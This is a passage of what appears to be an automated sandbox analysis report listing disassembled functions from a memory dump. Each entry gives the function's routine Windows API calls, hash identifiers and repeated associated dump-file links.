Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 76564895f2da114f62018fd781d9bd80fad52f5c95f3ae63a533144449c14138
Instruction ID: 8ad4e34246eb68eeb3a0fc5838e6d9c8225d9767757057c5ebf66d746c060a45
Opcode Fuzzy Hash: 76564895f2da114f62018fd781d9bd80fad52f5c95f3ae63a533144449c14138
Instruction Fuzzy Hash: E7217EB1D40605ABDF08BFA9DC4AB6E7EB9EB45704F10413FF5019A2A1DB388840CA69

Function 0042A440 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

StartPage.GDI32(?), ref: 0042A485
EndPage.GDI32(?), ref: 0042A4AB

Part of subcall function 004385F0: wsprintfA.USER32 ref: 004385FF

Part of subcall function 004AE281: SetWindowTextA.USER32(?,0043ABAA), ref: 004AE28F

UpdateWindow.USER32(?), ref: 0042A4FA
EndPage.GDI32(?), ref: 0042A512

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Page$Window$StartTextUpdatewsprintf
String ID:
API String ID: 104827578-0
Opcode ID: 8bc863cafdf0f42098be423ae5203ae6d6ce8a5fac2baa8dd5fb245d060f0678
Instruction ID: 6da9c0f150956a09a7f9cbc5ba3537543105b1bce8154ae5c2b94ab0b0689a18
Opcode Fuzzy Hash: 8bc863cafdf0f42098be423ae5203ae6d6ce8a5fac2baa8dd5fb245d060f0678
Instruction Fuzzy Hash: 34215371701F10ABC324AF3ADC84A9BB7E8EFD4704F50492EE59FC6210E634A4458B59

Function 00424E50 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00424E7C
GetParent.USER32(?), ref: 00424E91
SetParent.USER32(?,?), ref: 00424EAF
GetWindowRect.USER32(?,?), ref: 00424EC4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Parent$RectWindow
String ID:
API String ID: 2276825053-0
Opcode ID: 69b9c469c02e1e98702f7f24467775f0e7ab672548b81253fde0425fcd520911
Instruction ID: d5b1baf456018254de42d4f38ae2622ebe6860dca76de48c27c11f48ceed9f3b
Opcode Fuzzy Hash: 69b9c469c02e1e98702f7f24467775f0e7ab672548b81253fde0425fcd520911
Instruction Fuzzy Hash: 4C115CB6200305AFD724EF65E884EABB7ADEFC4354F404A1EB95583345DA78EC058AA4

Function 004A620D Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 004A623C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 004A624F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 004A629B
CompareStringW.KERNEL32(0046F496,00000000,00000000,00000000,?,00000000,?,00000000), ref: 004A62B3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: d41dc9d7594a0a2fddf7b4d29cebd58321ad6e45faeee9ff74d9bf45e2422ce7
Instruction ID: 915da603eea677f5dc463aed722b4c14e8bbeaa97eadf711b058e8200a1e1ca2
Opcode Fuzzy Hash: d41dc9d7594a0a2fddf7b4d29cebd58321ad6e45faeee9ff74d9bf45e2422ce7
Instruction Fuzzy Hash: BC21497380020AEBCF219F94CC45ADEBFB5FF59350F15416AFA1162260C7369D21DB94

Function 0042C400 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 0042C40D

Part of subcall function 0042C240: IsChild.USER32(?,?), ref: 0042C2BD
Part of subcall function 0042C240: GetParent.USER32(?), ref: 0042C2D7

SendMessageA.USER32(00000000,000000F0,00000000,00000000), ref: 0042C466
SendMessageA.USER32(00000000,000000F1,00000000,00000000), ref: 0042C476
GetWindow.USER32(00000000,00000002), ref: 0042C47B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSendWindow$ChildParent
String ID:
API String ID: 1043810220-0
Opcode ID: d0e66bcdbf15ba5555ba6d5da329defa96c84e830b6d3c4706680dc453ac1da3
Instruction ID: ff7f16b7a03df000411cc9cbd7f2909a3a60e8e2b78a1fd6041975ab7569f502
Opcode Fuzzy Hash: d0e66bcdbf15ba5555ba6d5da329defa96c84e830b6d3c4706680dc453ac1da3
Instruction Fuzzy Hash: 86015E327C172277E6316629ACE6F7F72489F46B50F544366BB00AA2D1DE98EC0181BD

Function 00451930 Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0045194B
SendMessageA.USER32(?,000083EB,?,00000000), ref: 00451975
SendMessageA.USER32(?,000083EC,?,00000000), ref: 00451989
SendMessageA.USER32(?,000083E9,?,00000000), ref: 004519AC

Part of subcall function 004AE2A8: GetDlgCtrlID.USER32(?), ref: 004AE2B2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$CtrlParent
String ID:
API String ID: 1383977212-0
Opcode ID: 81739824234137e5a3c6c3281248da50dbabb1765e9fca7b89ee5d3f721daf70
Instruction ID: f9fada331e8f4d6cf98488d818d30f7d6ac66ddfd27730be6155c35135f79b8a
Opcode Fuzzy Hash: 81739824234137e5a3c6c3281248da50dbabb1765e9fca7b89ee5d3f721daf70
Instruction Fuzzy Hash: 7801ACB23006043BD61567668CD5E2FB36DAFC5B45B40411EFA4187391CF69EC458778

Function 004A20EA Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,00000000), ref: 004A2112
RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 004A2146
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004A2160
HeapFree.KERNEL32(00000000,?), ref: 004A2177

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: e277cb70105c89215af113117a8dfce5bfa7ddf1395f573bbba5738b44217b24
Instruction ID: 0ebcdf2357b27ea306d9a6606cfe86657250ade04549adb33f639143598177f0
Opcode Fuzzy Hash: e277cb70105c89215af113117a8dfce5bfa7ddf1395f573bbba5738b44217b24
Instruction Fuzzy Hash: 9F111F71600602AFC7218F69EC89F6A7BB6FB957507124A29F263C61B0C7B19842DF06

Function 004AA62F Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 004AA663
GetCurrentProcess.KERNEL32(?,00000000), ref: 004AA669
DuplicateHandle.KERNEL32(00000000), ref: 004AA66C
GetLastError.KERNEL32(00000000), ref: 004AA686

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast
String ID:
API String ID: 3907606552-0
Opcode ID: b01fafa91ce6ddf0587080065105c907972f8465bcd13f91a9d3934a56383ec4
Instruction ID: 2c6fc8f90358e3a2b1d14133217e9edce2684e9eafecc8a1afc0385295752c13
Opcode Fuzzy Hash: b01fafa91ce6ddf0587080065105c907972f8465bcd13f91a9d3934a56383ec4
Instruction Fuzzy Hash: 1F01B1717002007BEB00DBBACC49F1A7BA99B95320F144526BA05DB281DBA4EC108B69

Function 004A8EE8 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

WindowFromPoint.USER32(?,?), ref: 004A8F00
GetParent.USER32(00000000), ref: 004A8F0D
ScreenToClient.USER32(00000000,?), ref: 004A8F2E
IsWindowEnabled.USER32(00000000), ref: 004A8F47

Part of subcall function 004B1438: GetWindowLongA.USER32(00000000,000000F0), ref: 004B1449

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$ClientEnabledFromLongParentPointScreen
String ID:
API String ID: 2204725058-0
Opcode ID: b004d839d4ca4f19af1a7bbf046b2337b6db84ce1424ab7a9750680696c3bd1a
Instruction ID: 66495dd48f1f6564fa382a46b94174ca75d6c1400673bffb6a2aaec241ce1fff
Opcode Fuzzy Hash: b004d839d4ca4f19af1a7bbf046b2337b6db84ce1424ab7a9750680696c3bd1a
Instruction Fuzzy Hash: 42015E36604505BF87165B599C04DAEBAAEEF8A710714012EF605D7310EE35CD018768

Function 004ACFE7 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004ACFF2
GetTopWindow.USER32(00000000), ref: 004AD005
GetTopWindow.USER32(?), ref: 004AD035
GetWindow.USER32(00000000,00000002), ref: 004AD050

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 2bc9c6c3ecee618cd4e592c81b532944ff0d3439c1525171e211a14cea1a2985
Instruction ID: 1ef16a350421875c2d424f759607f277b1d938e66c84e6a7209064ff2b9d3d12
Opcode Fuzzy Hash: 2bc9c6c3ecee618cd4e592c81b532944ff0d3439c1525171e211a14cea1a2985
Instruction Fuzzy Hash: 17017132805115BBCF322F618C04E9F3B59AF3B398F008126FE0191651D739C913DA9D

Function 004AD060 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 004AD06E
SendMessageA.USER32(00000000,?,?,?), ref: 004AD0A4
GetTopWindow.USER32(00000000), ref: 004AD0B1
GetWindow.USER32(00000000,00000002), ref: 004AD0CF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: dcbb367bbc8a854872b6f8cc121f6d9169e651d5751e40ccf76b536f5f761030
Instruction ID: fae874878b00dac771399660dd5a23f43e23b185b3ef6c18c0009e03dfcd6753
Opcode Fuzzy Hash: dcbb367bbc8a854872b6f8cc121f6d9169e651d5751e40ccf76b536f5f761030
Instruction Fuzzy Hash: B3014C3240551ABBCF226F95DC04E9F3F69EF66354F044016FA0251161C73ACA62EBA9

Function 004AEB49 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 004AEB71
GetFocus.USER32 ref: 004AEB84
GetParent.USER32(?), ref: 004AEB92
GetNextDlgTabItem.USER32(?,?,00000000), ref: 004AEBAE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: 089126d61721a529b7c707ab1909a72709a283c0dc967dce5acd0ecc3477a7a2
Instruction ID: 0f2d29e5de5bcb568515d127f56867fe1a09b43d47504d5890fd0b0f4a311f17
Opcode Fuzzy Hash: 089126d61721a529b7c707ab1909a72709a283c0dc967dce5acd0ecc3477a7a2
Instruction Fuzzy Hash: E2115E71104600AFCB299F22D859B1B77B5EF65310F104A2EA662465A0C778FC41CB68

Function 004B1DBA Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 004B1DE6
RegCloseKey.ADVAPI32(00000000,?,?), ref: 004B1DEF
wsprintfA.USER32 ref: 004B1E0B
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 004B1E24

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: 0cc38f8eaeafec16628c520c887aa14bbd2339fb9257fd48057319f706944573
Instruction ID: 7b8a3201a0d08b96ae7441d4bc593a914f1d3800bc5001634c12edbea35d1d3e
Opcode Fuzzy Hash: 0cc38f8eaeafec16628c520c887aa14bbd2339fb9257fd48057319f706944573
Instruction Fuzzy Hash: F1016D32400219BBCF126FA4DC09FEB3BADFF48754F044526BB11A61A0E774DA21DB98

Function 004AD754 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 004AD792
SetBkColor.GDI32(00000000,00000000), ref: 004AD79E
GetSysColor.USER32(00000008), ref: 004AD7AE
SetTextColor.GDI32(00000000,?), ref: 004AD7B8

Part of subcall function 004B1438: GetWindowLongA.USER32(00000000,000000F0), ref: 004B1449

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
